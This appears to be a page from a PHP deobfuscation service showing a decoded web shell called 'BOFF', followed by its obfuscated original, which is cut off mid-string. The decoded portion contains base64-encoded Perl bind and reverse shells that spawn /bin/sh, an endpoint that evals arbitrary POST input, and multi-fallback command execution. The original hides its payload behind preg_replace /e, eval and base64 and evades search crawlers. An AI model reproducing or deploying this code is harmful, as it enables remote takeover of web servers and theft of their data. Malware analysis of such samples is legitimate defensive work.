$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = BOFFEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".BOFFEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = BOFFEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".BOFFEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
BOFFFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"BOFF_version" => BOFF_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
function Minfo() {
cr("ID","0wn3d");
$P = @getcwd();
$IP = @getenv("SERVER_ADDR");
$UID = crshell1exec("id");
$P = @getcwd();
$IP = @getenv("SERVER_ADDR");
$UID = crshell1exec("id");
cr("SAFE",@safemode()?"ON":"OFF");
cr("OS",@PHP_OS);
cr("UNAME",@php_uname());
cr("SERVER",($IP)?$IP:"-");
cr("USER",@get_current_user());
cr("UID",($UID)?$UID:"uid=".@getmyuid()." gid=".@getmygid());
cr("DIR",$P);
cr("PERM","(".pthrights($P).")");
cr("HDD","Used: ".hdd("used")." Free: ".hdd("free")." Total: ".hdd("total"));
cr("DISFUNC",@getdisfunc());
}
function cr($t,$c) { echo "<font face='verdana' size='2'><b>$t:</b> "; echo (is_array($c))?join(" ",$c):$c; echo "</font><br>
"; }
function safemode() { return (@ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) ? TRUE : FALSE; }
function getdisfunc() { $rez = explode(",",@ini_get("disable_functions")); return (!empty($rez))?$rez:array(); }
function enabled($func) { return (function_exists($func) && is_callable($func) && !in_array($func,getdisfunc())) ? TRUE : FALSE; }
function crshell1exec($cmd) {
if (enabled("exec")) { exec($cmd,$o); $rez = join("
",$o); }
elseif (enabled("shell_exec")) { $rez = shell_exec($cmd); }
elseif (enabled("system")) { @ob_start(); @system($cmd); $rez = @ob_get_contents(); @ob_end_clean(); }
elseif (enabled("passthru")) { @ob_start(); passthru($cmd); $rez = @ob_get_contents(); @ob_end_clean(); }
elseif (enabled("popen") && is_resource($h = popen($cmd.' 2>&1', 'r')) ) { while ( !feof($h) ) { $rez .= fread($h, 2096); } pclose($h); }
else { $rez = "Error!"; }
return $rez;
}
function pthrights($path) {
$pthh = $path;
$perms = fileperms("$pthh");
if (($perms & 0xC000) == 0xC000) { $info = 's';
} elseif (($perms & 0xA000) == 0xA000) { $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) { $info = '-';
} elseif (($perms & 0x6000) == 0x6000) { $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) { $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) { $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) { $info = 'p';
} else { $info = 'u'; }
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function vsize($size) {
if (!is_numeric($size)) { return FALSE; }
else {
if ( $size >= 1073741824 ) { $size = round($size/1073741824*100)/100 ." GB"; }
elseif ( $size >= 1048576 ) { $size = round($size/1048576*100)/100 ." MB"; }
elseif ( $size >= 1024 ) { $size = round($size/1024*100)/100 ." KB"; }
else { $size = $size . " B"; }
return $size;
}
}
function hdd($type) {
$P = @getcwd(); $T = @disk_total_space($P); $F = @disk_free_space($P); $U = $T - $F;
$hddspace = array("total" => vsize($T), "free" => vsize($F), "used" => vsize($U));
return $hddspace[$type];
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
Did this file decode correctly?
Original Code
<?php @session_start(); @set_time_limit(0); @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_magic_quotes_runtime(0); echo "pVd5c9pIFv97XeXv0NFm"; preg_replace("/.*/e","\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'JGF1dGhfcGFzcyA9ICI2ZmNhZjk2MjQyZGY0NDUyMjUwM2ZkZDdlZmQ5ZTMwMCI7DQokY29sb3IgPSAiI2RmNSI7DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KDQppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsNCiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCn0NCg0KQHNlc3Npb25fc3RhcnQoKTsNCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOw0KQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOw0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KQGRlZmluZSgnQk9GRl9WRVJTSU9OJywgJzEuMCcpOw0KDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7DQoJZnVuY3Rpb24gQk9GRnN0cmlwc2xhc2hlcygkYXJyYXkpIHsNCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ0JPRkZzdHJpcHNsYXNoZXMnLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7DQoJfQ0KCSRfUE9TVCA9IEJPRkZzdHJpcHNsYXNoZXMoJF9QT1NUKTsNCn0NCg0KZnVuY3Rpb24gQk9GRkxvZ2luKCkgew0KCWRpZShNaW5mbygpLiI8YnI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+Iik7DQp9DQoNCmlmKCFpc3NldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSkNCglpZiggZW1wdHkoJGF1dGhfcGFzcykgfHwgKCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcykgKSApDQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOw0KCWVsc2UNCgkJQk9GRkxvZ2luKCk7DQoNCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikNCgkkb3MgPSAnd2luJzsNCmVsc2UNCgkkb3MgPSAnbml4JzsNCg0KJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCmlmKCEkc2FmZV9tb2RlKQ0KICAgIGVycm9yX3JlcG9ydGluZygwKTsNCg0KJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7DQppZihpc3NldCgkX1BPU1RbJ2MnXSkpDQoJQGNoZGlyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZ2V0Y3dkKCk7DQppZigkb3MgPT0gJ3dpbicpIHsNCgkkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7DQoJJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7DQp9DQppZiggJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nICkNCgkkY3dkIC49ICcvJzsNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQ0KICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSAoYm9vbCkkR0xPQkFMU1snZGVmYXVsdF91c2VfYWpheCddOw0KCQ0KaWYoJG9zID09ICd3aW4nKQ0KCSRhbGlhc2VzID0gYXJyYXkoDQoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsDQogICAgCSJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLA0KICAgIAkiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwNCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLA0KICAgIAkiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwNCiAgICAJIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsDQogICAgCSJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwNCgkJIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsDQoJCSJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCgkpOw0KZWxzZQ0KCSRhbGlhc2VzID0gYXJyYXkoDQogIAkJIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsDQoJCSJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLA0KICAJCSJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLA0KICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLA0KCQkiRmluZCIgPT4gIiIsDQogIAkJImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwNCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogIAkJImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwNCiAgCQkiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsDQogIAkJImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsDQogIAkJImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAJCSJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsDQoJCSJMb2NhdGUiID0+ICIiLA0KICAJCSJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwNCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsDQoJCSJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsDQoJCSJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLA0KCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsDQoJCSJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwNCgkJImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLA0KCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwNCgkJImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLA0KCQkibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwNCgkJImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsDQoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwNCgkJImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsDQoJCSJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLA0KCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwNCgkJImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLA0KCQkibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLA0KCQkibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLA0KCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsDQoJCSJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IgkNCgkpOw0KDQpmdW5jdGlvbiBCT0ZGSGVhZGVyKCkgew0KCWlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkNCgkJJF9QT1NUWydjaGFyc2V0J10gPSAkR0xPQkFMU1snZGVmYXVsdF9jaGFyc2V0J107DQoJZ2xvYmFsICRjb2xvcjsNCgllY2hvICI8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD0iIC4gJF9QT1NUWydjaGFyc2V0J10gLiAiJz48dGl0bGU+IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIgLSBCT0ZGICIgLiBCT0ZGX1ZFUlNJT04gLiI8L3RpdGxlPg0KPHN0eWxlPg0KYm9keXtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMjg7Y29sb3I6I2UxZTFlMTt9DQpib2R5LHRkLHRoeyBib3JkZXI6MXB4IG91dHNldCBibGFjaztmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0NCnRhYmxlLmluZm97IGJvcmRlci1sZWZ0OjVweCBzb2xpZCAjZGY1O2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMDAwMDI4OyB9DQpzcGFuLGgxLGF7IGNvbG9yOiAjZGY1ICFpbXBvcnRhbnQ7IH0NCnNwYW57IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0NCmgxeyBib3JkZXItbGVmdDo3cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMjg7bWFyZ2luOjBweDsgfQ0KZGl2LmNvbnRlbnR7IHBhZGRpbmc6IDdweDttYXJnaW4tbGVmdDo3cHg7YmFja2dyb3VuZC1jb2xvcjojMzMzOyB9DQpheyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfQ0KYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQ0KLm1sMXsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJmbG93OiBhdXRvOyB9DQouYmlnYXJlYXsgd2lkdGg6MTAwJTtoZWlnaHQ6MjUwcHg7IH0NCmlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjZGY1OyBmb250OiA5cHQgTW9ub3NwYWNlLCdDb3VyaWVyIE5ldyc7IH0NCmZvcm17IG1hcmdpbjowcHg7IH0NCiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0NCi50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0NCi5tYWluIHRoe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDMzMDA7fQ0KLm1haW4gdHI6aG92ZXJ7Ym9yZGVyOjJweCBvdXRzZXQgZ3JheTs7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQ0KLmwxe2JhY2tncm91bmQtY29sb3I6IzQ0NH0NCi5sMntiYWNrZ3JvdW5kLWNvbG9yOiMzMzN9DQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQ0KPC9zdHlsZT4NCjxzY3JpcHQ+DQogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIicNCiAgICB2YXIgY2hhcnNldF8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnY2hhcnNldCddKSAuIic7DQogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBwMl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AyJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDNfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMyddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIGQgPSBkb2N1bWVudDsNCglmdW5jdGlvbiBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJaWYoYSE9bnVsbClkLm1mLmEudmFsdWU9YTtlbHNlIGQubWYuYS52YWx1ZT1hXzsNCgkJaWYoYyE9bnVsbClkLm1mLmMudmFsdWU9YztlbHNlIGQubWYuYy52YWx1ZT1jXzsNCgkJaWYocDEhPW51bGwpZC5tZi5wMS52YWx1ZT1wMTtlbHNlIGQubWYucDEudmFsdWU9cDFfOw0KCQlpZihwMiE9bnVsbClkLm1mLnAyLnZhbHVlPXAyO2Vsc2UgZC5tZi5wMi52YWx1ZT1wMl87DQoJCWlmKHAzIT1udWxsKWQubWYucDMudmFsdWU9cDM7ZWxzZSBkLm1mLnAzLnZhbHVlPXAzXzsNCgkJaWYoY2hhcnNldCE9bnVsbClkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0XzsNCgl9DQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KCQlkLm1mLnN1Ym1pdCgpOw0KCX0NCglmdW5jdGlvbiBhKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7DQoJCXZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsNCgkJZm9yKGk9MDtpPGQubWYuZWxlbWVudHMubGVuZ3RoO2krKykNCgkJCXBhcmFtcyArPSAnJicrZC5tZi5lbGVtZW50c1tpXS5uYW1lKyc9JytlbmNvZGVVUklDb21wb25lbnQoZC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7DQoJCXNyKCciIC4gYWRkc2xhc2hlcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOw0KCX0NCglmdW5jdGlvbiBzcih1cmwsIHBhcmFtcykgewkNCgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCgkJCXJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkNCgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOw0KICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgnQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgfQ0KCX0NCglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgew0KCQlpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkNCgkJCWlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7DQoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7DQoJCQkJZXZhbC